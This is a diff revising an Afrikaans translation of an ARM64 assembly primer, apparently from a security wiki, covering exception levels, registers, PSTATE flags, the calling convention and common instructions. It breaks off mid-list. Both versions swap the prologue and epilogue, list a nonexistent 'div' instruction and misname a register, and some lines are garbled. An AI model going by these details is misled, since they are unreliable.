EL1) op dieselfde fisiese hardeware. - EL2 bied funksies vir isolasie en beheer van die gevirtualiseerde omgewings. -4. **EL3 - Veilige Monitor Modus**: -- Dit is die mees bevoorregte vlak en word dikwels gebruik vir veilige opstart en vertroude uitvoeringsomgewings. -- EL3 kan toegang en beheer tussen veilige en nie-veilige toestande bestuur (soos veilige opstart, vertroude OS, ens.). +4. **EL3 - Secure Monitor Mode**: +- Dit is die mees bevoorregte vlak en word dikwels gebruik vir secure boot en vertroude uitvoeringsomgewings. +- EL3 kan toegang tussen secure en non-secure state beheer en bestuur (soos secure boot, trusted OS, ens.). -Die gebruik van hierdie vlakke stel 'n gestruktureerde en veilige manier in om verskillende aspekte van die stelsel te bestuur, van gebruikersaansoeke tot die mees bevoorregte stelselsagteware. ARMv8 se benadering tot voorregte help om verskillende stelselskomponente effektief te isoleer, wat die sekuriteit en robuustheid van die stelsel verbeter. +Die gebruik van hierdie vlakke maak 'n gestruktureerde en veilige wyse moontlik om verskillende aspekte van die stelsel te bestuur, van gebruikersprogramme tot die mees bevoorregte stelselprogrammatuur. ARMv8 se benadering tot voorregvlakke help om verskillende stelselkomponente effektief te isoleer en sodoende die sekuriteit en robuustheid van die stelsel te versterk. ## **Registers (ARM64v8)** -ARM64 het **31 algemene registers**, gemerk `x0` tot `x30`. Elke kan 'n **64-bit** (8-byte) waarde stoor. Vir operasies wat slegs 32-bit waardes vereis, kan dieselfde registers in 'n 32-bit modus met die name w0 tot w30 benader word. +ARM64 het **31 general-purpose registers**, gemerk `x0` tot `x30`. Elk kan 'n **64-bit** (8-byt) waarde stoor. Vir operasies wat slegs 32-bit waardes benodig, kan dieselfde registers in 'n 32-bit formaat geraadpleeg word met die name `w0` tot `w30`. -1. **`x0`** tot **`x7`** - Hierdie word tipies as skrapregisters en vir die oordrag van parameters na subrutines gebruik. -- **`x0`** dra ook die terugdata van 'n funksie -2. **`x8`** - In die Linux-kernel word `x8` as die stelselaanroepnommer vir die `svc` instruksie gebruik. **In macOS is dit x16 wat gebruik word!** +1. **`x0`** tot **`x7`** - Hierdie word tipies gebruik as scratch-registers en vir die deurgee van parameters na subrutines. +- **`x0`** dra ook die terugkeerdata van 'n funksie. +2. **`x8`** - In die Linux-kern word `x8` gebruik as die system call nommer vir die `svc` instruksie. **In macOS die x16 is die een wat gebruik word!** 3. **`x9`** tot **`x15`** - Meer tydelike registers, dikwels gebruik vir plaaslike veranderlikes. -4. **`x16`** en **`x17`** - **Intra-prosedurele Oproep Registers**. Tydelike registers vir onmiddellike waardes. Hulle word ook gebruik vir indirekte funksie-oproepe en PLT (Prosedure Koppeling Tabel) stubs. -- **`x16`** word as die **stelselaanroepnommer** vir die **`svc`** instruksie in **macOS** gebruik. -5. **`x18`** - **Platform register**. Dit kan as 'n algemene register gebruik word, maar op sommige platforms is hierdie register gereserveer vir platform-spesifieke gebruike: Punter na die huidige draad-omgewing blok in Windows, of om na die huidige **uitvoerende taakstruktuur in die linux kernel** te verwys. -6. **`x19`** tot **`x28`** - Hierdie is kalteer-bewaar registers. 'n Funksie moet hierdie registers se waardes vir sy oproeper behou, so hulle word in die stapel gestoor en herwin voordat hulle terug na die oproeper gaan. -7. **`x29`** - **Raamwyser** om die stapelraam te volg. Wanneer 'n nuwe stapelraam geskep word omdat 'n funksie opgeroep word, word die **`x29`** register **in die stapel gestoor** en die **nuwe** raamwyser adres is (**`sp`** adres) **in hierdie register gestoor**. -- Hierdie register kan ook as 'n **algemene register** gebruik word, alhoewel dit gewoonlik as 'n verwysing na **lokale veranderlikes** gebruik word. -8. **`x30`** of **`lr`**- **Koppeling register**. Dit hou die **terugadres** wanneer 'n `BL` (Branch with Link) of `BLR` (Branch with Link to Register) instruksie uitgevoer word deur die **`pc`** waarde in hierdie register te stoor. +4. **`x16`** en **`x17`** - **Intra-procedural Call Registers**. Tydelike registers vir onmiddellike waardes. Hulle word ook gebruik vir indirekte funksie-oproepe en PLT (Procedure Linkage Table) stubs. +- **`x16`** word gebruik as die **system call number** vir die **`svc`** instruksie in **macOS**. +5. **`x18`** - **Platform register**. Dit kan as 'n general-purpose register gebruik word, maar op sommige platforms is hierdie register gereserveer vir platform-spesifieke gebruike: wysiger na die huidige thread environment block in Windows, of om na die tans **uitvoerende task structure in linux kernel** te wys. +6. **`x19`** tot **`x28`** - Dit is callee-saved registers. 'n Funksie moet die waardes van hierdie registers vir sy caller bewaar, dus word hulle in die stack gestoor en herkry voordat teruggekeer word na die caller. +7. **`x29`** - **Frame pointer** om die stack-raad te hou. Wanneer 'n nuwe stack-frame geskep word omdat 'n funksie aangeroep is, word die **`x29`** register **in die stack gestoor** en die **nuwe** frame pointer adres (die **`sp`** adres) word **in hierdie register** gestoor. +- Hierdie register kan ook as 'n **general-purpose register** gebruik word alhoewel dit gewoonlik as verwysing na **plaatslike veranderlikes** gebruik word. +8. **`x30`** of **`lr`** - **Link register**. Dit hou die **terugkeeradres** wanneer 'n `BL` (Branch with Link) of `BLR` (Branch with Link to Register) instruksie uitgevoer word deur die **`pc`** waarde in hierdie register te stoor. - Dit kan ook soos enige ander register gebruik word. -- As die huidige funksie 'n nuwe funksie gaan oproep en dus `lr` gaan oorskryf, sal dit dit aan die begin in die stapel stoor, dit is die epiloog (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Stoor `fp` en `lr`, genereer ruimte en kry nuwe `fp`) en dit aan die einde herwin, dit is die proloog (`ldp x29, x30, [sp], #48; ret` -> Herwin `fp` en `lr` en keer terug). -9. **`sp`** - **Stapelwyser**, gebruik om die bokant van die stapel te volg. -- die **`sp`** waarde moet altyd ten minste 'n **quadword** **uitlijning** of 'n uitlijningsfout mag voorkom. -10. **`pc`** - **Program teller**, wat na die volgende instruksie wys. Hierdie register kan slegs deur uitsondering generasies, uitsondering terugkeerde, en takke opgedateer word. Die enigste gewone instruksies wat hierdie register kan lees, is tak met koppeling instruksies (BL, BLR) om die **`pc`** adres in **`lr`** (Koppeling Register) te stoor. -11. **`xzr`** - **Nul register**. Ook genoem **`wzr`** in sy **32**-bit registervorm. Kan gebruik word om die nulwaarde maklik te kry (gewone operasie) of om vergelykings te doen met **`subs`** soos **`subs XZR, Xn, #10`** wat die resulterende data nêrens stoor (in **`xzr`**). +- As die huidige funksie 'n nuwe funksie gaan aanroep en dus `lr` oorskryf, sal dit aan die begin in die stack gestoor word—dit is die epiloog (`stp x29, x30 , [sp, #-48]; mov x29, sp` -> Stoor `fp` en `lr`, genereer ruimte en kry nuwe `fp`) en herstel dit aan die einde, dit is die proloog (`ldp x29, x30, [sp], #48; ret` -> Herstel `fp` en `lr` en keer terug). +9. **`sp`** - **Stack pointer**, gebruik om die top van die stack te hê. +- Die **`sp`** waarde moet altyd op ten minste 'n **quadword** **uitlyningsvlak** gehou word of 'n uitlyningsfout kan voorkom. +10. **`pc`** - **Program counter**, wat na die volgende instruksie wys. Hierdie register kan slegs bygewerk word deur exception-generasies, exception-terugkeer en takke. Die enigste gewone instruksies wat hierdie register kan lees, is Branch with Link instruksies (BL, BLR) om die **`pc`** adres in **`lr`** (Link Register) te stoor. +11. **`xzr`** - **Zero register**. Ook genoem **`wzr`** in sy **32**-bit register vorm. Kan gebruik word om maklik die nul-waarde te kry (algemene operasie) of om vergelykings uit te voer met **`subs`** soos **`subs XZR, Xn, #10`** en die resultaat nêrens te stoor (in **`xzr`**). Die **`Wn`** registers is die **32bit** weergawe van die **`Xn`** register. -### SIMD en Vervaardigingsregisters +> [!TIP] +> Die registers van X0 - X18 is vluchtig (volatile), wat beteken hul waardes kan deur funksie-oproepe en interrupts verander word. Die registers van X19 - X28 is egter nie-vlugtig, wat beteken hul waardes moet oor funksie-oproepe bewaar bly ("callee saved"). -Boonop is daar nog **32 registers van 128bit lengte** wat in geoptimaliseerde enkele instruksie meervoudige data (SIMD) operasies en vir die uitvoering van drijvende-komma rekenkunde gebruik kan word. Hierdie word die Vn registers genoem alhoewel hulle ook in **64**-bit, **32**-bit, **16**-bit en **8**-bit kan werk en dan word hulle **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** en **`Bn`** genoem. +### SIMD and Floating-Point Registers -### Stelselsregisters +Bo en behalwe is daar nog **32 registers van 128bit lengte** wat in geoptimaliseerde single instruction multiple data (SIMD) operasies en vir dryfpunt-aritmetika gebruik kan word. Hierdie word die Vn registers genoem alhoewel hulle ook in **64**-bit, **32**-bit, **16**-bit en **8**-bit opereer en dan **`Qn`**, **`Dn`**, **`Sn`**, **`Hn`** en **`Bn`** genoem word. -**Daar is honderde stelselsregisters**, ook bekend as spesiale doeleindregisters (SPRs), wat gebruik word vir **monitering** en **beheer** van **verwerkers** gedrag.\ -Hulle kan slegs gelees of gestel word met die toegewyde spesiale instruksie **`mrs`** en **`msr`**. +### System Registers -Die spesiale registers **`TPIDR_EL0`** en **`TPIDDR_EL0`** word algemeen aangetref wanneer omgekeerde ingenieurswese gedoen word. Die `EL0` agtervoegsel dui die **minimale uitsondering** aan waaruit die register benader kan word (in hierdie geval is EL0 die gewone uitsondering (privilege) vlak waaroor gewone programme loop).\ -Hulle word dikwels gebruik om die **basisadres van die draad-lokale berging** geheue streek te stoor. Gewoonlik is die eerste een leesbaar en skryfbaar vir programme wat in EL0 loop, maar die tweede kan van EL0 gelees en van EL1 (soos kernel) geskryf word. +**Daar is honderde system registers**, ook genoem special-purpose registers (SPRs), wat gebruik word vir **monitoring** en **beheering** van die **verhouding van verwerkers**.\ +Hulle kan slegs gelees of gestel word met behulp van die toegewyde spesiale instruksies **`mrs`** en **`msr`**. -- `mrs x0, TPIDR_EL0 ; Lees TPIDR_EL0 in x0` -- `msr TPIDR_EL0, X0 ; Skryf x0 in TPIDR_EL0` +Die spesiale registers **`TPIDR_EL0`** en **`TPIDDR_EL0`** kom algemeen voor tydens reverse engineering. Die `EL0` agtervoegsel dui die **minimale exception** aan waarvan die register toeganklik is (in hierdie geval is EL0 die gewone exception (voorreg) vlak waarop gewone programme hardloop).\ +Hul word dikwels gebruik om die **basisadres van die thread-local storage** geheuegebied te stoor. Gewoonlik is die eerste een lees- en skryfbaar vir programme wat by EL0 loop, maar die tweede kan van EL0 gelees en van EL1 geskryf word (soos die kernel). + +- `mrs x0, TPIDR_EL0 ; Read TPIDR_EL0 into x0` +- `msr TPIDR_EL0, X0 ; Write x0 into TPIDR_EL0` ### **PSTATE** -**PSTATE** bevat verskeie proses komponente wat in die bedryfstelsel-sigbare **`SPSR_ELx`** spesiale register geserieleer is, wat X die **toestemming** **vlak van die geaktiveerde** uitsondering aandui (dit stel in staat om die prosesstatus te herstel wanneer die uitsondering eindig).\ -Hierdie is die toeganklike velde: +**PSTATE** bevat verskeie proseskomponente geserialiseer in die bedryfstelsel-sigbare **`SPSR_ELx`** spesiale register, waar X die **permitvlak** van die getriggerde exception is (dit laat toe om die prosesstaat te herstel wanneer die exception eindig).\ +Hierdie is die toeganklike veldjies:
-- Die **`N`**, **`Z`**, **`C`** en **`V`** toestand vlae: -- **`N`** beteken die operasie het 'n negatiewe resultaat opgelewer -- **`Z`** beteken die operasie het nul opgelewer -- **`C`** beteken die operasie het 'n dra gelewer -- **`V`** beteken die operasie het 'n onderteken oorloop opgelewer: -- Die som van twee positiewe getalle lewer 'n negatiewe resultaat. -- Die som van twee negatiewe getalle lewer 'n positiewe resultaat. -- In aftrekking, wanneer 'n groot negatiewe getal van 'n kleiner positiewe getal (of omgekeerd) afgetrek word, en die resultaat nie binne die reeks van die gegewe bitgrootte verteenwoordig kan word nie. -- Dit is duidelik dat die verwerker nie weet of die operasie onderteken is of nie, so dit sal C en V in die operasies nagaan en aandui of 'n dra plaasgevind het in die geval dit onderteken of nie. +- Die **`N`**, **`Z`**, **`C`** en **`V`** conditievlae: +- **`N`** beteken die operasie het 'n negatiewe resultaat gegee +- **`Z`** beteken die operasie het nul gegee +- **`C`** beteken die operasie het 'n carry gehad +- **`V`** beteken die operasie het 'n signed overflow gegee: +- Die som van twee positiewe getalle gee 'n negatiewe resultaat. +- Die som van twee negatiewe getalle gee 'n positiewe resultaat. +- In aftrekking, wanneer 'n groot negatiewe getal van 'n kleiner positiewe getal afgetrek word (of omgekeerd), en die resultaat nie binne die reeks van die gegewe bits getoon kan word nie. +- Oenklik die verwerker weet nie of die operasie signed is of nie, so dit sal C en V in die operasies nagaan en aandui of 'n carry plaasgevind het in die geval dit signed of unsigned was. > [!WARNING] -> Nie al die instruksies werk hierdie vlae op nie. Sommige soos **`CMP`** of **`TST`** doen, en ander wat 'n s agtervoegsel het soos **`ADDS`** doen dit ook. +> Nie al die instruksies werk hierdie vlae by nie. Sommige soos **`CMP`** of **`TST`** doen dit, en ander wat 'n `s` agtervoegsel het soos **`ADDS`** doen dit ook. -- Die huidige **register breedte (`nRW`) vlag**: As die vlag die waarde 0 hou, sal die program in die AArch64 uitvoeringsstaat loop sodra dit hervat word. -- Die huidige **Uitsondering Vlak** (**`EL`**): 'n Gewone program wat in EL0 loop, sal die waarde 0 hê -- Die **enkele stap** vlag (**`SS`**): Gebruik deur debuggers om enkelstap deur die SS-vlag op 1 in **`SPSR_ELx`** deur 'n uitsondering te stel. Die program sal 'n stap uitvoer en 'n enkele stap uitsondering uitreik. -- Die **onwettige uitsondering** toestand vlag (**`IL`**): Dit word gebruik om aan te dui wanneer 'n bevoorregte sagteware 'n ongeldige uitsondering vlak oordrag uitvoer, hierdie vlag word op 1 gestel en die verwerker aktiveer 'n onwettige toestand uitsondering. -- Die **`DAIF`** vlae: Hierdie vlae stel 'n bevoorregte program in staat om sekere eksterne uitsonderings selektief te masker. -- As **`A`** 1 is, beteken dit **asynchrone abortus** sal geaktiveer word. Die **`I`** stel in om te reageer op eksterne hardeware **Interrupts Requests** (IRQs). en die F is verwant aan **Fast Interrupt Requests** (FIRs). -- Die **stapelwyser seleksie** vlae (**`SPS`**): Bevoorregte programme wat in EL1 en hoër loop, kan tussen die gebruik van hul eie stapelwyser register en die gebruikersmodel een (bv. tussen `SP_EL1` en `EL0`) wissel. Hierdie wisseling word uitgevoer deur na die **`SPSel`** spesiale register te skryf. Dit kan nie van EL0 gedoen word nie. +- Die huidige **register breedte (`nRW`) vlag**: As die vlag die waarde 0 hou, sal die program in die AArch64 uitvoeringsstaat loop sodra hervat. +- Die huidige **Exception Level** (**`EL`**): 'n Gewone program wat in EL0 loop sal die waarde 0 hê. +- Die **single stepping** vlag (**`SS`**): Word deur debuggers gebruik om enkelstap deur te voer deur die SS vlag op 1 te stel binne **`SPSR_ELx`** deur 'n exception. Die program sal 'n stap uitvoer en 'n single step exception uitreik. +- Die **illegal exception** status vlag (**`IL`**): Dit word gebruik om te merk wanneer 'n bevoorregte sagteware 'n ongeldige exception level-oordrag uitvoer; hierdie vlag word op 1 gestel en die verwerker trigger 'n illegal state exception. +- Die **`DAIF`** vlae: Hierdie vlae laat 'n bevoorregte program toe om sekere eksterne exceptions selektief te mask. +- As **`A`** 1 is beteken dit **asynchronous aborts** sal getrigger word. Die **`I`** konfigureer om op eksterne hardeware **Interrupt Requests** (IRQs) te reageer. En die **`F`** is verwant aan **Fast Interrupt Requests** (FIRs). +- Die **stack pointer select** vlae (**`SPS`**): Bevoorregte programme wat in EL1 en hoër loop kan skakel tussen die gebruik van hul eie stack pointer register en die gebruiker-model een (bv. tussen `SP_EL1` en `EL0`). Hierdie omskakeling word uitgevoer deur na die **`SPSel`** spesiale register te skryf. Dit kan nie vanaf EL0 gedoen word nie. -## **Oproep Konvensie (ARM64v8)** +## **Calling Convention (ARM64v8)** -Die ARM64 oproep konvensie spesifiseer dat die **eerste agt parameters** aan 'n funksie in registers **`x0` tot `x7`** oorgedra word. **Addisionele** parameters word op die **stapel** oorgedra. Die **terug** waarde word in register **`x0`** teruggegee, of in **`x1`** ook **as dit 128 bits lank is**. Die **`x19`** tot **`x30`** en **`sp`** registers moet **behou** word oor funksie-oproepe. +Die ARM64 calling convention spesifiseer dat die **eerste agt parameters** aan 'n funksie in registers **`x0`** tot **`x7`** gedra word. **Addisionele** parameters word op die **stack** deurgegee. Die **terugkeer** waarde word in register **`x0`** teruggegee, of ook in **`x1`** as dit 128 bits lank is. Die **`x19`** tot **`x30`** en **`sp`** registers moet **behou** word oor funksie-oproepe. -Wanneer jy 'n funksie in assembly lees, soek die **funksie proloog en epiloog**. Die **proloog** behels gewoonlik **die stoor van die raamwyser (`x29`)**, **opstelling** van 'n **nuwe raamwyser**, en **toewysing van stapelruimte**. Die **epiloog** behels gewoonlik **die herstel van die gestoor raamwyser** en **terugkeer** van die funksie. +Wanneer jy 'n funksie in assembler lees, kyk vir die **funksie proloog en epiloog**. Die **proloog** behels gewoonlik **om die frame pointer (`x29`) te stoor**, **op te stel** 'n **nuwe frame pointer**, en **stack-ruimte te toeken**. Die **epiloog** behels gewoonlik **herstel van die gestoor frame pointer** en **terugkeer** uit die funksie. -### Oproep Konvensie in Swift +### Calling Convention in Swift -Swift het sy eie **oproep konvensie** wat gevind kan word in [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64) +Swift het sy eie **calling convention** wat gevind kan word by [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64) -## **Algemene Instruksies (ARM64v8)** +## **Common Instructions (ARM64v8)** -ARM64 instruksies het oor die algemeen die **formaat `opcode dst, src1, src2`**, waar **`opcode`** die **operasie** is wat uitgevoer moet word (soos `add`, `sub`, `mov`, ens.), **`dst`** is die **bestemmings** register waar die resultaat gestoor sal word, en **`src1`** en **`src2`** is die **bron** registers. Onmiddellike waardes kan ook in plaas van bron registers gebruik word. +ARM64-instruksies het oor die algemeen die **formaat `opcode dst, src1, src2`**, waar **`opcode`** die **operasie** is wat uitgevoer word (soos `add`, `sub`, `mov`, ens.), **`dst`** is die **bestemming** register waar die resultaat gestoor sal word, en **`src1`** en **`src2`** is die **bronne** registers. Immediate waardes kan ook in plek van bronregisters gebruik word. -- **`mov`**: **Beweeg** 'n waarde van een **register** na 'n ander. -- Voorbeeld: `mov x0, x1` — Dit beweeg die waarde van `x1` na `x0`. -- **`ldr`**: **Laai** 'n waarde van **geheue** in 'n **register**. -- Voorbeeld: `ldr x0, [x1]` — Dit laai 'n waarde van die geheue ligging wat deur `x1` aangedui word in `x0`. -- **Offset modus**: 'n offset wat die oorspronklike punter beïnvloed, word aangedui, byvoorbeeld: -- `ldr x2, [x1, #8]`, dit sal die waarde van x1 + 8 in x2 laai -- `ldr x2, [x0, x1, lsl #2]`, dit sal 'n objek van die reeks x0 in x2 laai, vanaf die posisie x1 (indeks) \* 4 -- **Pre-geïndekseerde modus**: Dit sal berekeninge op die oorspronklike toepas, die resultaat kry en ook die nuwe oorspronklike in die oorspronklike stoor. +- **`mov`**: **Move** 'n waarde van een **register** na 'n ander. +- Voorbeeld: `mov x0, x1` — Dit skuif die waarde van `x1` na `x0`. +- **`ldr`**: **Load** 'n waarde uit **geheue** in 'n **register**. +- Voorbeeld: `ldr x0, [x1]` — Dit laai 'n waarde van die geheue-ligging wat deur `x1` aangedui word in `x0`. +- **Offset mode**: 'n Offset wat die oorsprong-aanwyser affekteer word aangedui, byvoorbeeld: +- `ldr x2, [x1, #8]`, dit sal in x2 die waarde van x1 + 8 laai +- `ldr x2, [x0, x1, lsl #2]`, dit sal in x2 'n objek uit die array x0 laai, van posisie x1 (indeks) * 4 +- **Pre-indexed mode**: Dit sal berekeninge op die oorsprong toepas, die resultaat kry en ook die nuwe oorsprong in die oorsprong stoor. - `ldr x2, [x1, #8]!`, dit sal `x1 + 8` in `x2` laai en in x1 die resultaat van `x1 + 8` stoor -- `str lr, [sp, #-4]!`, Stoor die koppeling register in sp en werk die register sp op -- **Post-geïndekseerde modus**: Dit is soos die vorige een, maar die geheue adres word toegang verkry en dan word die offset bereken en gestoor. +- `str lr, [sp, #-4]!`, Stoor die link register in sp en werk die register sp op +- **Post-index mode**: Dit is soos die vorige, maar die geheueadres word eerstens geraadpleeg en dan word die offset bereken en gestoor. - `ldr x0, [x1], #8`, laai `x1` in `x0` en werk x1 op met `x1 + 8` -- **PC-relatiewe adressering**: In hierdie geval word die adres om te laai relatief tot die PC register bereken -- `ldr x1, =_start`, Dit sal die adres waar die `_start` simbool begin in x1 laai, verwant aan die huidige PC. -- **`str`**: **Stoor** 'n waarde van 'n **register** in **geheue**. -- Voorbeeld: `str x0, [x1]` — Dit stoor die waarde in `x0` in die geheue ligging wat deur `x1` aangedui word. -- **`ldp`**: **Laai Paar Registers**. Hierdie instruksie **laai twee registers** van **aaneengeskakelde geheue** liggings. Die geheue adres word tipies gevorm deur 'n offset by die waarde in 'n ander register te voeg. -- Voorbeeld: `ldp x0, x1, [x2]` — Dit laai `x0` en `x1` van die geheue liggings by `x2` en `x2 + 8`, onderskeidelik. -- **`stp`**: **Stoor Paar Registers**. Hierdie instruksie **stoor twee registers** na **aaneengeskakelde geheue** liggings. Die geheue adres word tipies gevorm deur 'n offset by die waarde in 'n ander register te voeg. -- Voorbeeld: `stp x0, x1, [sp]` — Dit stoor `x0` en `x1` na die geheue liggings by `sp` en `sp + 8`, onderskeidelik. -- `stp x0, x1, [sp, #16]!` — Dit stoor `x0` en `x1` na die geheue liggings by `sp+16` en `sp + 24`, onderskeidelik, en werk `sp` op met `sp+16`. +- **PC-relative addressing**: In hierdie geval word die adres wat gelaai moet word relatief tot die PC-register bereken +- `ldr x1, =_start`, Dit sal die adres waar die `_start` simbool begin in x1 laai verwant aan die huidige PC. +- **`str`**: **Store** 'n waarde van 'n **register** in **geheue**. +- Voorbeeld: `str x0, [x1]` — Dit stoor die waarde in `x0` in die geheue-ligging aangedui deur `x1`. +- **`ldp`**: **Load Pair of Registers**. Hierdie instruksie **laai twee registers** van **aaneenliggende geheue** liggings. Die geheueadres word tipies gevorm deur 'n offset by die waarde in 'n ander register op te tel. +- Voorbeeld: `ldp x0, x1, [x2]` — Dit laai `x0` en `x1` van die geheue-liggings by `x2` en `x2 + 8`, onderskeidelik. +- **`stp`**: **Store Pair of Registers**. Hierdie instruksie **stoor twee registers** na **aaneenliggende geheue** liggings. Die geheueadres word tipies gevorm deur 'n offset by die waarde in 'n ander register op te tel. +- Voorbeeld: `stp x0, x1, [sp]` — Dit stoor `x0` en `x1` in die geheue-liggings by `sp` en `sp + 8`, onderskeidelik. +- `stp x0, x1, [sp, #16]!` — Dit stoor `x0` en `x1` in die geheue-liggings by `sp+16` en `sp + 24`, onderskeidelik, en werk `sp` by na `sp+16`. - **`add`**: **Voeg** die waardes van twee registers by en stoor die resultaat in 'n register. -- Sintaksis: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX] +- Sintaks: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX] - Xn1 -> Bestemming - Xn2 -> Operand 1 -- Xn3 | #imm -> Operando 2 (register of onmiddellik) -- \[shift #N | RRX] -> Voer 'n skuif uit of bel RRX -- Voorbeeld: `add x0, x1, x2` — Dit voeg die waardes in `x1` en `x2` saam en stoor die resultaat in `x0`. -- `add x5, x5, #1, lsl #12` — Dit is gelyk aan 4096 (1 wat 12 keer geskuif is) -> 1 0000 0000 0000 0000 -- **`adds`** Dit voer 'n `add` uit en werk die vlae op -- **`sub`**: **Trek** die waardes van twee registers af en stoor die resultaat in 'n register. -- Kontroleer **`add`** **sintaksis**. +- Xn3 | #imm -> Operand 2 (register of immediate) +- \[shift #N | RRX] -> Voer 'n skuif uit of gebruik RRX +- Voorbeeld: `add x0, x1, x2` — Dit tel die waardes in `x1` en `x2` bymekaar en stoor die resultaat in `x0`. +- `add x5, x5, #1, lsl #12` — Dit is gelyk aan 4096 (1 geskuiwe 12 keer) -> 1 0000 0000 0000 0000 +- **`adds`** Dit voer 'n `add` uit en werk die vlae by +- **`sub`**: **Trek af** die waardes van twee registers en stoor die resultaat in 'n register. +- Kyk **`add`** **sintaks**. - Voorbeeld: `sub x0, x1, x2` — Dit trek die waarde in `x2` van `x1` af en stoor die resultaat in `x0`. -- **`subs`** Dit is soos sub maar werk die vlag op +- **`subs`** Dit is soos `sub` maar werk die vlae by - **`mul`**: **Vermenigvuldig** die waardes van **twee registers** en stoor die resultaat in 'n register. - Voorbeeld: `mul x0, x1, x2` — Dit vermenigvuldig die waardes in `x1` en `x2` en stoor die resultaat in `x0`. - **`div`**: **Deel** die waarde van een register deur 'n ander en stoor die resultaat in 'n register. - Voorbeeld: `div x0, x1, x2` — Dit deel die waarde in `x1` deur `x2` en stoor die resultaat in `x0`. - **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**: -- **Logiese skuif links**: Voeg 0s van die einde by en skuif die ander bits vorentoe (vermenigvuldig deur n-keer 2) -- **Logiese skuif regs**: Voeg 1s aan die begin by en skuif die ander bits agtertoe (deel deur n-keer 2 in ongetekende) -- **Arithmetiese skuif regs**: Soos **`lsr`**, maar in plaas van 0s by te voeg, as die mees betekenisvolle bit 'n 1 is, **word 1s bygevoeg** (deel deur n-keer 2 in getekende) -- **Draai regs**: Soos **`lsr`** maar wat ook al van die regterkant verwyder word, word aan die linkerkant bygevoeg -- **Draai Regs met Uitbreiding**: Soos **`ror`**, maar met die dra vlag as die "mees betekenisvolle bit". So die dra vlag word na die bit 31 verskuif en die verwyderde bit na die dra vlag. -- **`bfm`**: **Bit Veld Beweeg**, hierdie operasies **kopieer bits `0...n`** van 'n waarde en plaas dit in posisies **`m..m+n`**. Die **`#s`** spesifiseer die **linkerste bit** posisie en **`#r`** die **dra regs hoeveelheid**. -- Bitfiled beweeg: `BFM Xd, Xn, #r` -- Getekende Bitfield beweeg: `SBFM Xd, Xn, #r, #s` -- Ongetekende Bitfield beweeg: `UBFM Xd, Xn, #r, #s` -- **Bitfield Uittrek en Invoeg:** Kopieer 'n bitveld van 'n register en kopieer dit na 'n ander register. -- **`BFI X1, X2, #3, #4`** Voeg 4 bits van X2 vanaf die 3de bit van X1 in -- **`BFXIL X1, X2, #3, #4`** Trek 4 bits vanaf die 3de bit van X2 uit en kopieer dit na X1 -- **`SBFIZ X1, X2, #3, #4`** Onderteken-uitbrei 4 bits van X2 en voeg dit in X1 in wat by bit posisie 3 begin en die regter bits nulmaak -- **`SBFX X1, X2, #3, #4`** Trek 4 bits vanaf bit 3 van X2 uit, onderteken uitbrei dit, en plaas die resultaat in X1 -- **`UBFIZ X1, X2, #3, #4`** Nul-uitbrei 4 bits van X2 en voeg dit in X1 in wat by bit posisie 3 begin en die regter bits nulmaak -- **`UBFX X1, X2, #3, #4`** Trek 4 bits vanaf bit 3 van X2 uit en plaas die nul-uitgebreide resultaat in X1. -- **Onderteken Uitbrei na X:** Brei die teken uit (of voeg net 0s in die ongetekende weergawe) van 'n waarde uit om operasies daarmee uit te voer: -- **`SXTB X1, W2`** Brei die teken van 'n byte **van W2 na X1** uit (`W2` is die helfte van `X2`) om die 64bits te vul -- **`SXTH X1, W2`** Brei die teken van 'n 16bit getal **van W2 na X1** uit om die 64bits te vul -- **`SXTW X1, W2`** Brei die teken van 'n byte **van W2 na X1** uit om die 64bits te vul -- **`UXTB X1, W2`** Voeg 0s (ongetekend) by 'n byte **van W2 na X1** om die 64bits te vul -- **`extr`:** Trek bits uit 'n spesifieke **paar registers wat gekonkateneer is**. -- Voorbeeld: `EXTR W3, W2, W1, #3` Dit sal **W1+W2** **konkatenereer** en **van bit 3 van W2 tot bit 3 van W1** kry en dit in W3 stoor. -- **`cmp`**: **Vergelyk** twee registers en stel toestand vlae op. Dit is 'n **alias van `subs`** wat die bestemming register na die nul register stel. Nuttig om te weet of `m == n`. -- Dit ondersteun die **dieselfde sintaksis as `subs`** -- Voorbeeld: `cmp x0, x1` — Dit vergelyk die waardes in `x0` en `x1` en stel die toestand vlae ooreenkomstig op. -- **`cmn`**: **Vergelyk negatiewe** operand. In hierdie geval is dit 'n **alias van `adds`** en ondersteun die dieselfde sintaksis. Nuttig om te weet of `m == -n`. -- **`ccmp`**: Voorwaardelike vergelyking, dit is 'n vergelyking wat slegs uitgevoer sal word as 'n vorige vergelyking waar was en sal spesifiek nzcv bits stel. +- **Logical shift left**: Voeg 0's by aan die einde en skuif die ander bite vorentoe (vermenigvuldig met 2^n) +- **Logical shift right**: Voeg 0's aan die begin (vir unsigned) en skuif die ander bite agtertoe (deel deur 2^n vir unsigned) +- **Arithmetic shift right**: Soos **`lsr`**, maar as die hoogste bit 'n 1 is, word 1's bygevoeg (deel deur 2^n vir signed) +- **Rotate right**: Soos **`lsr`** maar wat uit die regterkant verwyder word word links aangeheg +- **Rotate Right with Extend**: Soos **`ror`**, maar met die carry vlag as die "mees-belangrike bit". Dus word die carry vlag na bit 31 beweeg en die verwyderde bit na die carry vlag. +- **`bfm`**: **Bit Field Move**, hierdie operasies **kopieer bite `0...n`** van 'n waarde en plaas hulle in posisies **`m..m+n`**. Die **`#s`** spesifiseer die **linkerste bit** posisie en **`#r`** die **rotate right hoeveelheid**. +- Bitfield move: `BFM Xd, Xn, #r` +- Signed Bitfield move: `SBFM Xd, Xn, #r, #s` +- Unsigned Bitfield move: `UBFM Xd, Xn, #r, #s` +- **Bitfield Extract and Insert:** Kopieer 'n bitveld uit 'n register en plaas dit in 'n ander register. +- **`BFI X1, X2, #3, #4`** Sit 4 bite van X2 in vanaf die 3de bit van X1 +- **`BFXIL X1, X2, #3, #4`** Trek 4 bite uit vanaf die 3de bit van X2 en kopieer hulle na X1 +- **`SBFIZ X1, X2, #3, #4`** Sign-extends 4 bite van X2 en plaas dit in X1 beginnende by bitposisie 3 en maak die regterbite nul +- **`SBFX X1, X2, #3, #4`** Trek 4 bite beginnende by bit 3 